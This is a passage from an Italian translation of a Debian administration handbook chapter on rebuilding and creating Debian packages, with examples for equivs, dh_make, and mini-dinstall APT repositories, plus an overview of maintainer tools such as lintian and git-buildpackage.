Quando è necessario cambiare le opzioni di compilazione, le modifiche devono essere apportate in debian/rules, che guida le fasi del processo di compilazione del pacchetto. Nei casi più semplici, le righe che riguardano la configurazione iniziale (./configure ...) o la compilazione vera e propria ($(MAKE) ... o make ... o cmake ... o ...) sono facili da individuare. Se questi comandi non sono chiamati esplicitamente, probabilmente sono una conseguenza di un altro comando esplicito, nel qual caso fare riferimento alla loro documentazione per comprendere come cambiare il comportamento predefinito. Con i pacchetti che usano dh, potrebbe essere necessario aggiungere una sovrascrittura per i comandi dh_auto_configure o dh_auto_build (vedere le rispettive pagine di manuale e debhelper(7) per le spiegazioni su come ottenere tale risultato).

A seconda delle modifiche locali apportate ai pacchetti, può essere richiesto un aggiornamento anche nel file debian/control, che contiene una descrizione dei pacchetti generati. In particolare, questo file contiene le righe Build-Depends che permettono di controllare la lista delle dipendenze che devono essere soddisfatte nel momento della generazione del pacchetto. Queste spesso si riferiscono alle versioni dei pacchetti contenuti nella distribuzione da cui proviene il pacchetto sorgente, ma che potrebbero non essere disponibili nella distribuzione utilizzata per la rigenerazione. Non esiste un modo automatico per determinare se una dipendenza è reale o è specificata solamente per garantire che la costruzione deve essere eseguita solamente con l'ultima versione di una libreria. Questo è l'unico modo possibile per forzare un autobuilder ad utilizzare una determinata versione del pacchetto durante la costruzione, ed è il motivo per cui i maintainer Debian spesso utilizzano le dipendenze per la compilazione con versioni specifiche.

Se si sa per certo che queste dipendenze per la compilazione sono troppo stringenti, si possono rendere meno rigide localmente. I file che documentano il modo predefinito di costruire il software, spesso chiamati INSTALL, aiuteranno a capire quali sono le dipendenze appropriate. Idealmente, tutte le dipendenze devono poter essere soddisfatte dalla distribuzione utilizzata per la rigenerazione del pacchetto, se non lo sono, si avvia un processo ricorsivo, per cui per i pacchetti indicati nel campo Build-Depends deve essere fatto un "backport" prima che il pacchetto in questione sia costruito. Alcuni pacchetti non necessitano di backporting, e possono essere installati così come sono durante il processo di creazione (un esempio degno di nota è debhelper). Si noti che il processo di backporting può rapidamente diventare complesso se non si è attenti. Pertanto, i backport dovrebbero essere ridotti al minimo indispensabile, quando possibile.

SUGGERIMENTO Installazione dei Build-Depends

apt-get permette d'installare tutti i pacchetti nei campi Build-Depends di un pacchetto sorgente disponibile in una distribuzione indicata nella riga deb-src del file /etc/apt/sources.list. Per farlo basta eseguire il comando apt-get build-dep pacchetto.

15.1.3. Iniziare la rigenerazione del pacchetto

Quando sono state apportate tutte le modifiche necessarie ai sorgenti, si può iniziare a generare il pacchetto binario (il file .deb). L'intero processo è gestito dal comando dpkg-buildpackage.

Esempio 15.1. Rigenerazione di un pacchetto

$ dpkg-buildpackage -us -uc [...]

Il comando precedente può fallire se il campo Build-Depends non è stato aggiornato o se i relativi pacchetti non sono installati. In questo caso è possibile saltare questo controllo passando l'opzione -d al comando dpkg-buildpackage. Tuttavia, ignorando esplicitamente queste dipendenze, si corre il rischio che una fase successiva del processo di generazione fallisca. Ancora peggio, il pacchetto può sembrare generato correttamente, ma si comporta in modo anomalo: alcuni programmi disabilitano automaticamente alcune delle loro caratteristiche quando non è disponibile una libreria richiesta in fase di compilazione. La predetta opzione può essere comunque molto utile se si vuole creare solo un pacchetto sorgente, che dovrebbe essere passato ad ambienti di compilazione puliti, come descritto in SGUARDO VELOCE Costruire pacchetti in ambienti chroot e virtuali.

Le altre opzioni usate nell'esempio precedente assicurano che né il file .dsc (-us) del pacchetto sorgente, né il file .changes (-uc) prodotto, vengano firmati con la chiave crittografica del compilatore dopo una corretta compilazione.

STRUMENTO fakeroot

Il processo di creazione di un pacchetto si occupa, in sostanza, di raccogliere una serie di file già esistenti (o costruiti) in un archivio, molti di questi file saranno di proprietà di root. Tuttavia, la costruzione di tutto il pacchetto utilizzando questo utente potrebbe comportare dei rischi, per fortuna questo può essere evitato con il comando fakeroot. Questo strumento può essere utilizzato per eseguire un programma, dandogli l'impressione che sia stato avviato dall'utente root e creare file con proprietà e permessi arbitrari. Quando il programma crea l'archivio che diventerà il pacchetto Debian, è indotto a creare un archivio contenente i file contrassegnati come appartenenti a proprietari arbitrari, incluso root. Questo è il tipo di configurazione consigliata, tanto che il programma dpkg-buildpackage utilizza fakeroot in maniera predefinita per la creazione dei pacchetti.

È da notare che il programma è solamente portato a "credere" che è eseguito da un account privilegiato, il realtà il programma viene eseguito con l'utente che lancia il comando fakeroot programma (ed i file vengono creati con gli stessi permessi di questo utente). In questo modo non si utilizzano effettivamente i privilegi dell'utente root, dato che potrebbe essere pericoloso.

Il più delle volte, gli sviluppatori Debian utilizzano un programma di alto livello come debuild; esso esegue comunque dpkg-buildpackage salvo poi richiama un programma che avvia diversi controlli per convalidare il pacchetto generato rispetto alla politica Debian. Inoltre, questo script, evita che le variabili d'ambiente locali "inquinino" la fase di generazione del pacchetto. Il comando debuild è uno degli strumenti della suite devscripts, che condividono la stessa consistenza e configurazione per semplificare i compiti dei manutentori.

SGUARDO VELOCE Costruire pacchetti in ambienti chroot e virtuali

Compilare un pacchetto su un sistema esistente, come una workstation o un server, può presentare diversi problemi. Potrebbe essere che il sistema abbia dei pacchetti installati che siano in conflitto con i requisiti di compilazione. Potrebbe essere che abbia installati pacchetti (librerie, header, ecc.) che il progetto da compilare non dovrebbe utilizzare - ad esempio da Testing, Unstable od anche da terze parti. Potrebbe anche avere installati pacchetti che siano necessari per la compilazione, ma che non sono elencati nel debian/control. Per questi motivi è buona pratica compilare i pacchetti in un ambiente "pulito".

I programmi sbuild, pbuilder o cowbuilder (nei pacchetti con nomi simili) permettono di costruire un pacchetto Debian in un ambiente chroot. Ognuno di essi crea innanzitutto una directory temporanea contenente il sistema minimo necessario per la creazione del pacchetto (compresi i pacchetti menzionati nel campo Build-Depends ). Questa directory viene poi usata come directory principale (/), usando il comando chroot, durante il processo di compilazione.

Questi strumenti consentono al processo di compilazione di avvenire in un ambiente non alterato dalle manipolazioni degli utenti. Questo permette anche di individuare rapidamente le dipendenze mancanti (poiché la compilazione fallirà se non sono documentate le dipendenze appropriate). Infine, permette di costruire un pacchetto per una versione di Debian che non è quella usata dall'intero sistema: la macchina può usare Stable e gli ambienti chroot, per la creazione dei pacchetti, possono essere eseguiti sulla stessa macchina usando Unstable. Utilizzando questi strumenti, è anche possibile compilare per una distribuzione diversa, come Ubuntu.

schroot, sbuild-shell o pbuilder permettono di eseguire un comando od una shell di login in un ambiente chroot.

Alcune volte non è sufficiente compilare un pacchetto in un ambiente chroot. Ciò può essere dovuto alla creazione di un pacchetto per un'architettura diversa per la quale la cross-compilazione (compilare il software per una diversa architettura hardware) non funziona, o dovuto agli strumenti che non sono in grado di creare un ambiente chroot per il sistema di destinazione. In questi casi si può sfruttare una macchina virtuali per creare il pacchetto nell'ambiente di destinazione. Queste configurazioni sono di solito più complesse degli strumenti menzionati sopra e raramente necessarie, quindi ci limiteremo a menzionare questa possibilità senza entrare nei dettagli. Per un'introduzione sull'argomento, consultare Sezione 12.2, «Virtualizzazione».

15.2. Creare il primo pacchetto

15.2.1. Meta-pacchetti o pacchetti finti

I pacchetti finti e i meta-pacchetti sono simili, entrambi non hanno contenuti, hanno però dei meta-dati che agiscono sullo stack di gestione dei pacchetti.

Lo scopo dei pacchetti finti è quello di far credere a dpkg e apt che un determinato pacchetto è installato anche se è soltanto un guscio vuoto. Questo permette di soddisfare le dipendenze di un pacchetto quando il software corrispondente è installato al di là delle scopo del sistema di pacchettizzazione. Questo sistema funziona, ma dovrebbe comunque essere evitato quando possibile, dato che non c'è alcuna garanzia che il software installato manualmente si comporti esattamente come il pacchetto corrispondente e i pacchetti che dipendono da esso potrebbero non funzionare correttamente.

D'altra parte, lo scopo principale di un meta-pacchetto è quello di raggruppare una serie di dipendenze, in modo che con il meta-pacchetto si installino una serie di altri pacchetti in un unico passaggio.

Entrambi i tipi di pacchetti possono essere creati dai comandi equivs-control e equivs-build (nel pacchetto equivs). Il comando equivs-control file crea un file d'intestazione del pacchetto Debian che dovrebbe essere modificato per contenere il nome del pacchetto, il numero di versione, il nome del manutentore, le dipendenze e la descrizione. Gli altri campi senza un valore predefinito sono opzionali e possono essere eliminati. I campi Copyright, Changelog, Readme e Extra-Files non sono campi standard nei pacchetti Debian, hanno senso solo nell'ambito di equivs-build e non saranno conservati nelle intestazioni del pacchetto generato.

Esempio 15.2. File d'intestazione del pacchetto finto libxml-libxml-perl

Section: perl Priority: optional Standards-Version: 4.5.1 Package: libxml-libxml-perl Version: 2.0207-1 Maintainer: Raphael Hertzog <hertzog@debian.org> Depends: libxml2 (>= 2.9.10) Architecture: all Description: Fake package - module manually installed in site_perl This is a fake package to let the packaging system believe that this Debian package is installed. . In fact, the package is not installed since a newer version of the module has been manually compiled &amp; installed in the site_perl directory.

Il passo successivo è quello di generare il pacchetto Debian con il comando equivs-build file. Voilà: il pacchetto viene creato nella directory corrente e può essere gestito come qualsiasi altro pacchetto Debian.

$ equivs-build file equivs-build control dpkg-buildpackage: info: source package libxml-libxml-perl dpkg-buildpackage: info: source version 2.0207-1 dpkg-buildpackage: info: source distribution unstable dpkg-buildpackage: info: source changed by Raphael Hertzog <hertzog@debian.org> dpkg-buildpackage: info: host architecture amd64 dpkg-source --before-build . debian/rules clean dh clean dh_clean debian/rules binary dh binary dh_update_autotools_config dh_autoreconf create-stamp debian/debhelper-build-stamp dh_prep dh_install dh_installdocs dh_installchangelogs dh_perl dh_link dh_strip_nondeterminism dh_compress dh_fixperms dh_missing dh_installdeb dh_gencontrol dh_md5sums dh_builddeb dpkg-deb: building package 'libxml-libxml-perl' in '../libxml-libxml-perl_2.0207-1_all.deb'. dpkg-genbuildinfo --build=binary dpkg-genchanges --build=binary >../libxml-libxml-perl_2.0207-1_amd64.changes dpkg-genchanges: info: binary-only upload (no source code included) dpkg-source --after-build . dpkg-buildpackage: info: binary-only upload (no source included) Il pacchetto è stato creato. Attenzione, il pacchetto è stato creato nella directory attuale, non in ".." come indicato nel messaggio sovrastante!

15.2.2. Semplice file di archivio

Gli amministratori della Falcot Corp hanno bisogno di creare un pacchetto Debian per facilitare la distribuzione di una serie di documenti su un gran numero di macchine. L'amministratore incaricato di questo compito prima legge la "Guida al nuovo Maintainer", quindi inizia a lavorare sul pacchetto.

→ https://www.debian.org/doc/manuals/maint-guide/

Il primo passo è la creazione della directory falcot-data-1.0 che conterrà il sorgente del pacchetto interessato. Il nome del pacchetto sarà logicamente falcot-data con il numero di versione 1.0. L'amministratore mette i file dei documenti nella sotto-directory data. Dopo viene eseguito il comando dh_make (dal pacchetto dh-make) per aggiungere i file necessari per il processo di generazione del pacchetto, che saranno memorizzati nella sotto-directory debian:

$ cd falcot-data-1.0 $ dh_make --native Tipo di pacchetto: (single, indep, library, python) [s/i/l/p]? i Maintainer Name : Raphael Hertzog Email-Address : hertzog@debian.org Date : Sat, 26 Feb 2021 13:02:06 +0100 Package Name : falcot-data Version : 1.0 License : gpl3 Package Type : indep I dettagli sono corretti? [Y/n/q] Attualmente non esiste un Makefile di primo livello. Potrebbe essere necessaria un'ulteriore sistemazione. Fatto. Modificare i file nella sottodirectory debian/. $

Il tipo di pacchetto selezionato (indep) indica che questo pacchetto sorgente genererà un singolo pacchetto binario che può essere condiviso su tutte le architetture (Architecture: all in debian/control). Al contrario, single crea un singolo pacchetto binario che dipende dall'architettura di destinazione (Architecture: any). In questo caso, la prima scelta è più pertinente, poiché il pacchetto contiene solo documenti e nessun programma binario, quindi può essere usato in modo simile su computer di tutte le architetture.

Il tipo libreria corrisponde ad un pacchetto sorgente che porta a diversi pacchetti binari. È utile per le librerie condivise, poiché devono seguire rigide regole di pacchettizzazione.

SUGGERIMENTO Nome ed indirizzo email del maintainer

La maggior parte dei programmi coinvolti nella manutenzione dei pacchetti cercherà il nome del maintainer nelle variabili d'ambiente DEBFULLNAME e DEBEMAIL o EMAIL. Definire questi valori eviterà di doverli digitare più volte. Se la shell utilizzata abitualmente è la bash, si possono semplicemente aggiungere le due righe seguenti nei file ~/.bashrc (ovviamente bisogna sostituire i valori con quelli più adeguati!):

export EMAIL="hertzog@debian.org" export DEBFULLNAME="Raphael Hertzog"

Il comando dh_make crea la sotto-directory debian con all'interno molti file. Alcuni sono necessari, in particolare i file rules, control, changelog e copyright. I file con estensione .ex sono file di esempio che all'occorrenza possono essere utilizzati modificandoli (rimuovendo anche l'estensione). Quando non sono necessari, si raccomanda di rimuoverli. Il file compat non viene più utilizzato né creato. Invece di definire il livello di compatibilità di debhelper come un numero in questo file, ora è definito come una dipendenza dalla compilazione del pacchetto virtuale debhelper-compat nel file Build-Depends in debian/control.

Il file copyright deve contenere informazioni relative agli autori dei documenti inclusi nel pacchetto e i relativi copyright e licenza. Nel nostro caso, si tratta di documenti interni e il loro uso è ristretto all'interno della società Falcot Corp. Il formato predefinito usato per questo file è specificato nel campo Format.

→ https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/

Il file changelog predefinito è generalmente appropriato; è sufficiente sostituire il "rilascio iniziale" con una spiegazione più prolissa e modificare la distribuzione da NON RILASCIATO o instabile al nome di rilascio.

Anche il file control deve essere aggiornato: il campo Section può essere cambiato in misc e i campi Homepage, Vcs-Git e Vcs-Browser sono stati rimossi. Il campo Depends è stato completato con firefox-esr | www-browser in modo da garantire la disponibilità di un browser web in grado di visualizzare i documenti del pacchetto. Se il pacchetto non richiede l'esecuzione di comandi come root (vedere STRUMENTO fakeroot), il campo Rules-Requires-Root può essere lasciato invariato.

Esempio 15.3. Il file control

Source: falcot-data Section: misc Priority: optional Maintainer: Raphael Hertzog <hertzog@debian.org> Build-Depends: debhelper-compat (= 13) Standards-Version: 4.5.1 Rules-Requires-Root: no Package: falcot-data Architecture: all Depends: firefox-esr | www-browser, ${misc:Depends} Description: Internal Falcot Corp Documentation This package provides several documents describing the internal structure at Falcot Corp. This includes: - organization diagram - contacts for each department. . These documents MUST NOT leave the company. Their use is INTERNAL ONLY.

Esempio 15.4. Il file changelog

falcot-data (1.0) bullseye; urgency=low * Rilascio Iniziale. * Iniziamo con pochi documenti: - struttura interna della società; - contratti per ogni dipartimento. -- Raphael Hertzog <hertzog@debian.org> Sat, 26 Feb 2022 15:12:06 +0100

Esempio 15.5. Il file copyright

Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ Upstream-Name: falcot-data Files: * Copyright: 2004-2021 Falcot Corp Licenza: Tutti i diritti riservati.

FONDAMENTALE Il file Makefile

Il file Makefile è uno script utilizzato dal programma make, e descrive le regole su come generare un insieme di file da un altro, utilizzando le dipendenze ad albero (ad esempio, un programma può essere costruito da un insieme di file sorgenti). Il file Makefile descrive queste regole nel seguente formato:

target: source1 source2 ... command1 command2

L'interpretazione di base di questa regola è il seguente: se uno dei file sources* è più recente rispetto al file target, il target deve essere generato utilizzando command1 e command2.

Si noti che le righe di comando devono iniziare con un carattere di tabulazione; si noti pure che quando una riga di comando inizia con il carattere trattino (-), il fallimento del comando non interrompe l'intero processo.

Il file rules di solito contiene un insieme di regole utilizzate per configurare, compilare e installare il software in una sotto-directory dedicata (con il nome del pacchetto binario generato). Il contenuto di questa sotto-directory viene archiviato all'interno del pacchetto Debian, come se fosse la radice del file system. In questo caso, i file verranno installati netta sotto-directory debian/falcot-data/usr/share/falcot-data/, in modo che l'installazione del pacchetto generato metta i file in /usr/share/falcot-data/. Il file rules viene utilizzato come un Makefile, con alcuni obbiettivi predefiniti (compresi clean e binary, utilizzati rispettivamente per pulire la directory dei sorgenti e per generare il pacchetto binario).

Anche se questo file è il cuore di tutto il processo, contiene solo il minimo indispensabile per l'esecuzione di un insieme predefinito di comandi forniti dal programma debhelper. Questo è il caso per i file generati da dh_make. Per installare i file interessati, bisogna semplicemente configurare il comportamento del comando dh_install creando il seguente file debian/falcot-data.install:

data/* usr/share/falcot-data/

A questo punto, il pacchetto può essere creato. Verrà, comunque, apportata una miglioria. Dal momento che gli amministratori vogliono che i documenti siano facilmente accessibili dal menu dell'ambiente grafico, si aggiunge un file falcot-data.desktop e lo si installa in /usr/share/applications aggiungendo una seconda riga a debian/falcot-data.install.

Esempio 15.6. Il file falcot-data.desktop

[Desktop Entry] Name=Internal Falcot Corp Documentation Comment=Starts a browser to read the documentation Exec=x-www-browser /usr/share/falcot-data/index.html Terminal=false Type=Application Categories=Documentation;

La versione aggiornata di debian/falcot-data.install è simile a questa:

data/* usr/share/falcot-data/ falcot-data.desktop usr/share/applications/

Ora il nostro pacchetto sorgente è pronto. Tutto quello che resta da fare è generare il pacchetto binario, con lo stesso metodo usato in precedenza per la rigenerazione dei pacchetti: si esegue il comando dpkg-buildpackage -us -uc all'interno della directory falcot-data-1.0.

15.3. Creazione di un repository di pacchetti per APT

Falcot Corp ha cominciato gradualmente a mantenere un certo numero di pacchetti Debian, sia modificandoli localmente da pacchetti esistenti che creandoli da zero per distribuire dati interni e programmi.

Per rendere la distribuzione dei pacchetti più facile, si vuole integrare questi pacchetti in un pacchetto archivio che può essere utilizzato direttamente da APT. Per ovvi motivi di manutenzione, si vuole separare i pacchetti interni da quelli rigenerati localmente. L'obiettivo è che le voci corrispondenti nel file /etc/apt/sources.list.d/falcot.list siano le seguenti:

deb http://packages.falcot.com/ updates/ deb http://packages.falcot.com/ internal/

Gli amministratori quindi devono configurare un virtual host nel server HTTP interno, utilizzando la directory /srv/vhosts/packages/ come radice dello spazio web associato. La gestione dell'archivio stesso è delegata al comando mini-dinstall (presente nel pacchetto dal nome simile). Questo strumento controlla la directory incoming/ (in questo caso, /srv/vhosts/packages/mini-dinstall/incoming/) e aspetta che vi siano inseriti dei nuovi pacchetti, quando un pacchetto viene caricato, viene installato in un archivio Debian in /srv/vhosts/packages/. Il comando mini-dinstall legge i file *.changes creati quando il pacchetto viene generato. Questi file contengono un elenco di tutti gli altri file associati alla versione del pacchetto (*.deb, *.dsc, *.diff.gz/*.debian.tar.gz, *.orig.tar.gz, o i loro equivalenti con altri strumenti di compressione), e permettono a mini-dinstall di sapere quali file installare. I file *.changes contengono anche il nome della distribuzione di destinazione (spesso unstable) citata nell'ultima voce del file debian/changelog, mini-dinstall usa questa informazione per decidere dove installare il pacchetto. È per questo che gli amministratori devono sempre cambiare questo campo prima di costruire un pacchetto, e impostarlo a internal o updates, a seconda del luogo di destinazione. mini-dinstall quindi genera i file necessari per APT, come ad esempio Packages.gz.

ALTERNATIVA apt-ftparchive, aptly e reprepro

Se sembra troppo macchinoso far avviare mini-dinstall per un determinato archivio Debian, si può utilizzare al suo posto il comando apt-ftparchive. Questo strumento scansiona il contenuto di una directory e mostra (nello standard output) il corrispondente file Packages. Nel caso della Falcot Corp, gli amministratori possono caricare i pacchetti direttamente in /srv/vhosts/packages/updates/ o /srv/vhosts/packages/internal/, quindi eseguire i seguenti comandi per creare i file Packages.gz:

$ cd /srv/vhosts/packages $ apt-ftparchive packages updates >updates/Packages $ gzip updates/Packages $ apt-ftparchive packages internal >internal/Packages $ gzip internal/Packages

Il comando apt-ftparchive sources permette di creare i file Sources.gz in modo simile.

reprepro e aptly sono strumenti più avanzati per lo stesso scopo. Possono produrre, gestire e sincronizzare un numero di repository di pacchetti, fare il mirror di altri repository, persino prelevare pacchetti dai repository ufficiali e fornirli localmente, creare firme degli indici dei pacchetti generati e così mettere a disposizione repository firmati. reprepro registra i pacchetti e il checksums in un file di database Berkeley DB, in modo che non sia necessario un server per il database. aptly fornisce le stesse funzionalità, ma può essere gestito più facilmente. Sfortunatamente entrambi i progetti, sebbene siano probabilmente le soluzioni più complete a livello di funzionalità, non sono attualmente sviluppati in modo attivo.

reprepro è fornito con un'ampia documentazione ed esempi in /usr/share/doc/reprepro/, mentre aptly ha una vasta documentazione in-linea.

→ https://www.aptly.info/

Per la configurazione di mini-dinstall è necessario impostare il file ~/.mini-dinstall.conf; nel caso della Falcot Corp, i contenuti sono i seguenti:

[DEFAULT] archive_style = flat archivedir = /srv/vhosts/packages verify_sigs = 0 mail_to = admin@falcot.com generate_release = 1 release_origin = Falcot Corp release_codename = stable [updates] release_label = Recompiled Debian Packages [internal] release_label = Internal Packages

Una decisione degna di nota è la generazione del file Release per ogni archivio. Questo può aiutare a gestire le priorità del pacchetto d'installazione utilizzando il file di configurazione /etc/apt/preferences (si veda la Sezione 6.2.5, «Gestire le priorità dei pacchetti» per maggiori informazioni).

SICUREZZA mini-dinstall ed i permessi

Poichè mini-dinstall è stato progettato per essere eseguito come un normale utente, non è necessario eseguirlo come root. Il modo più semplice è quello di configurare tutto all'interno di un account utente, appartenente all'amministratore, che ha il compito di creare i pacchetti Debian. Poiché solo quest'amministratore dispone dei permessi necessari per mettere i file nella directory incoming/, si può dedurre che l'amministratore abbia verificato l'origine di ogni pacchetto prima di distribuirlo e non è necessario farlo rifare a mini-dinstall. Questo spiega il parametro verify_sigs = 0 (che indica che le firme non devono essere verificate). Tuttavia, se il contenuto dei pacchetti è sensibile, si può cambiare l'impostazione e scegliere di autenticare con un portachiavi contenente le chiavi pubbliche delle persone autorizzate a creare pacchetti (utilizzando il parametro extra_keyrings); poi mini-dinstall verificherà l'origine di ogni pacchetto in arrivo, analizzando la firma inclusa nel file *.changes.

Quando viene eseguito mini-dinstall in realtà viene avviato un demone sullo sfondo. Finché questo demone rimane attivo, verifica ogni mezz'ora se ci sono nuovi pacchetti nella directory incoming/. Quando viene inserito un nuovo pacchetto, viene spostato nell'archivio e vengono rigenerati, in maniera appropriata, i file Packages.gz e Sources.gz. Se risulta problematico eseguire un demone, mini-dinstall può essere avviato manualmente in modalità batch (con l'opzione -b) ogni volta che viene caricato un pacchetto nella directory incoming/. I metodi alternativi messi a disposizione da mini-dinstall sono documentati nella sua pagina di manuale mini-dinstall(1).

EXTRA Creazione di un archivio firmato

La suite APT controlla una serie di firme crittografiche sui pacchetti che gestisce prima di installarli, per garantire la loro autenticità (si veda Sezione 6.6, «Controllare l'autenticità dei pacchetti»). Gli archivi APT privati possono poi essere un problema, poichè le macchine che li utilizzano continueranno a visualizzare degli avvertimenti sui pacchetti non firmati. Un amministratore diligente integrerà pertanto gli archivi privati con la modalità sicura di APT.

Per facilitare questo processo, mini-dinstall include l'opzione di configurazione release_signscript che permette di specificare uno script da utilizzare per generare la firma. Un buon punto di partenza è lo script sign-release.sh fornito dal pacchetto mini-dinstall nella directory /usr/share/doc/mini-dinstall/examples/; le modifiche locali possono essere rilevanti.

15.4. Diventare un maintainer di pacchetti

15.4.1. Imparare a creare pacchetti

La creazione di un pacchetto Debian di qualità non è sempre un compito semplice, diventare un manutentore di pacchetti richiede una fase di apprendimento teorico e pratico negli ambiti tecnico e legale. Non è una semplice questione di compilazione e installazione di software; la parte più complessa è comprendere i problemi ed i conflitti e più in generale le interazioni con la miriade di altri pacchetti disponibili.

15.4.1.1. Regole

Un pacchetto Debian deve rispettare delle regole ben precise presenti nelle Debian policy ed ogni maintainer di pacchetti deve conoscerle. Non c'è l'obbligo di conoscerle a memoria, ma è importante sapere che esistono e che si possono consultare ogni volta che si presenta una scelta alternativa non banale. Ogni maintainer Debian ha fatto degli errori dovuto al fatto che non conosceva una regola, ma questo non è un grosso problema finchè l'errore verrà risolto quando un utente lo segnalerà con un bug report (cosa che normalmente accadere molto presto grazie agli utenti esperti). Il campo Standards-Version in debian/control specifica la versione delle Debian policy a cui un pacchetto è conforme. I manutentori dovrebbero conformarsi all'ultima versione delle Debian policy.

→ https://www.debian.org/doc/debian-policy/

15.4.1.2. Procedure

Debian non è una semplice raccolta di singoli pacchetti. Il lavoro di pacchettizzazione di ognuno è parte di un progetto collettivo; essere uno sviluppatore Debian implica conoscere come opera, nel suo complesso, il progetto Debian. Ogni sviluppatore, prima o poi, interagisce con gli altri. La guida di riferimento per lo sviluppatore Debian (nel pacchetto developers-reference) riassume ciò che ogni sviluppatore deve conoscere per interagire nel miglior modo possibile con i vari team all'interno del progetto, e come usufruire dei possibili vantaggi dati delle risorse disponibili. Questo documento elenca anche una serie di doveri a cui uno sviluppatore dovrebbe adempiere.

→ https://www.debian.org/doc/manuals/developers-reference/

15.4.1.3. Strumenti

Molti strumenti aiutano i maintainer di pacchetti nel loro lavoro. In questa sezione verranno descritti brevemente, tralasciando tutti i dettagli, dal momento che tutti hanno una propria documentazione completa.

15.4.1.3.1. devscripts

Il pacchetto devscripts contiene molti programmi che aiutano in una vasta gamma del lavoro dello sviluppatore Debian:

debuild permette di generare un pacchetto (con dpkg-buildpackage) ed eseguire lintian per verificarne la conformità con le policy di Debian.

debclean pulisce un pacchetto sorgente dopo che è stato generato un pacchetto binario.

dch permette di modificare velocemente il file debian/changelog nel sorgente del pacchetto.

uscan verifica se è stata rilasciata una nuova versione del software dall'autore originale; questo richiede il file debian/watch con una descrizione delle posizioni delle varie versioni.

debi permette di installare (con dpkg -i) il pacchetto Debian che è stato appena generato senza bisogno di digitare il suo nome completo e il percorso.

In modo simile, debc consente la scansione dei contenuti del pacchetto generato di recente (con dpkg -c), senza la necessità di digitare il suo nome completo e il percorso.

bts permette di controllare il sistema di tracciamento dei bug dalla riga di comando; inoltre, genera automaticamente le e-mail in maniera appropriata.

→ https://www.debian.org/Bugs/server-refcard

debrelease carica il pacchetto generato di recente in un server remoto, senza la necessità di digitare il nome completo e il percorso del relativo file .changes.

debsign firma i file *.dsc e *.changes.

uupdate automatizza la creazione di una nuova versione del pacchetto, appena è rilasciata una nuova versione del software originale.

Tutti i comandi menzionati sono documentati nelle loro rispettive pagine di manuale. Possono essere ulteriormente configurati per ogni utente nel file: ~/.devscripts.

15.4.1.3.2. debhelper e dh-make

Debhelper è un insieme di script che aiutano nella creazione di pacchetti conformi alle policy; questi script sono invocati da debian/rules. Debhelper è stato ampiamente adottato all'interno di Debian, come dimostra il fatto che è usato dalla maggior parte dei pacchetti ufficiali Debian. Tutti i comandi in esso contenuti hanno un prefisso dh_. Ognuno di essi è documentato in una pagina di manuale. I diversi livelli di compatibilità e le opzioni comuni sono descritti in debhelper(7).

Lo script dh_make (nel pacchetto dh-make) crea i file necessari per la generazione di un pacchetto Debian, in una directory contenente i sorgenti di un software. Come si può immaginare dal nome del programma, i file generati utilizzano debhelper in maniera predefinita.

15.4.1.3.3. lintian

Questo strumento è uno dei più importanti: si occupa di verificare i pacchetti Debian. Si basa su una vasta gamma di test creati dalla policy di Debian, e rileva in modo rapido e automatico molti errori che possono essere risolti prima che i pacchetti vengano rilasciati.

Questo strumento lo si deve considerare solamente come un aiuto e può capitare che a volte si comporti in modo errato (per esempio, poiché le policy di Debian cambiano nel corso del tempo, lintian a volte può essere obsoleto). Inoltre non è molto dettagliato: se non si riceve alcun errore da Lintian non di deve interpretare questo comportamento come la prova che il pacchetto sia perfetto ma che, al massimo, non contiene gli errori più comuni.

15.4.1.3.4. piuparts

Questo è un altro importante strumento: automatizza l'installazione, l'aggiornamento, la rimozione e l'eliminazione completa di un pacchetto (in un ambiente isolato), e controlla che nessuna di queste operazioni dia luogo ad un errore. Può essere d'aiuto nel rilevare le dipendenze mancanti, inoltre rileva anche quando i file vengono erroneamente lasciati dopo che il pacchetto è stato copmletamente eliminato.

15.4.1.3.5. autopkgtest

autopkgtest esegue test sui pacchetti binari, utilizzando i test forniti nel pacchetto sorgente in debian/tests/. Diversi comandi permettono di creare facilmente ambienti di test virtuali o chroot.

15.4.1.3.6. reprotest

reprotest compila lo stesso codice sorgente due volte in ambienti diversi, e poi controlla i binari prodotti da ogni build alla ricerca di differenze. Se ne vengono trovate, diffoscope (se non disponibile, diff) verrà usato per visualizzarle in dettaglio per un'analisi successiva.

15.4.1.3.7. dupload e dput

I comandi dupload e dput permettono il caricamento di un pacchetto Debian su un server (anche remoto). Questo permette agli sviluppatori di pubblicare il proprio pacchetto sul server principale di Debian (ftp-master.debian.org) in modo che possa essere integrato nell'archivio e distribuito nei mirror. Questi comandi prendono il file .changes come parametro e deducono gli altri file pertinenti dal suo contenuto.

15.4.1.3.8. git-buildpackage e dgit

Negli anni il progetto ha usato diversi sistemi di controllo delle versioni per registrare gli sforzi di pacchettizzazione e il codice sorgente dei pacchetti o per permettere la manutenzione collaborativa dei pacchetti. Nel tentativo di unificare i sistemi e gli sforzi è stato infine deciso nel 2017 di spostare (quasi) tutti i sorgenti di pacchetti in Git (CULTURA Git), dentro un'istanza di Gitlab chiamata salsa.debian.org.

→ https://salsa.debian.org/

Sono stati sviluppati degli strumenti per semplificare, agli sviluppatori di Debian, la pacchettizzazione tramite Git. Questi permettono non soltanto di registrare in Git i file di pacchettizzazione, ma anche di usare i repository Git (e la loro cronologia) per progetti software, inserire patch applicate ai sorgenti dei pacchetti dentro la cronologia di Git, mantenere le versioni del software per le distribuzioni, ecc.

Uno dei più famosi pacchetti è git-buildpackage. Un'alternativa è dgit. Naturalmente è sempre possibile non usare nessuno di questi.

Qiu sotto è presente un esempio per un file di configurazione ~/.gbp.conf

[DEFAULT] builder = sbuild -d bullseye --build-dep-resolver=aptitude -s --source-only-changes --build-failed-commands "%SBUILD_SHELL" pristine-tar = true [buildpackage] sign-tags = true keyid = XXXX postbuild = autopkgtest --user debci --apt-upgrade -s "$GBP_CHANGES_FILE" -- lxc --sudo autopkgtest-bullseye-amd64 export-dir = /tmp/build-area/ notify = off [import-orig] filter-pristine-tar = true sign-tags = true [pq] drop = true

Per compilare il pacchetto è sufficiente eseguire gbp buildpackage nell'albero Git. Viene avviata una compilazione del pacchetto in una chroot di Debian Bullseye tramite sbuild. Quando la compilazione ha successo vengono verificati i file creati eseguendo (se definita) la suite di test autopkgtest. Tutte le diverse opzioni sono spiegate in gbp.conf(5) e /etc/git-buildpackage/gbp.conf.

Tutti gli strumenti menzionati fin'ora sono stati inclusi anche nel processo di Continuous Integration (CI - Integrazione continua) nell'istanza di salsa.debian.org:

→ https://salsa.debian.org/salsa-ci-team/pipeline

15.4.2. Processo di accettazione

